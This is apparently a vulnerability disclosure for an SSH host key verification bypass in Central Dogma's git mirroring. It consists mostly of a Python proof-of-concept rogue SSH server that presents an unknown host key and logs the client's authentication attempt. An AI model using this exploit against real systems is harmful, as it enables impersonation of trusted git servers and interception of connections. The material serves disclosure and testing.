CVE-2026-11745: centraldogma-server-mirror-git SSH Host Key Verification Bypass

# Minimal paramiko rogue-server that triggers the bypass.
# Central Dogma connects, Central Dogma accepts the ephemeral key, auth phase begins.
# A hardened client would terminate before reaching paramiko's auth handler.

import socket
import paramiko

ROGUE_HOST_KEY = paramiko.RSAKey.generate(2048)   # ephemeral, never seen before

class RogueHandler(paramiko.ServerInterface):
    def check_auth_publickey(self, username, key):
        # Log what Central Dogma offered, then accept or deny freely.
        print(f"[+] Got auth attempt: user={username} fp={key.get_fingerprint().hex()}")
        return paramiko.AUTH_FAILED   # deny auth but host-key check already passed
    def get_allowed_auths(self, username):
        return 'publickey,password'

sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', 2222))   # or intercept real port 22 / configured SSH port
sock.listen(1)
print('[*] Waiting for Central Dogma mirror connection on :2222')
conn, addr = sock.accept()
print(f'[+] Connection from {addr}')

transport = paramiko.Transport(conn)
transport.add_server_key(ROGUE_HOST_KEY)
transport.start_server(server=RogueHandler())

chan = transport.accept(30)
if chan:
    chan.close()
transport.close()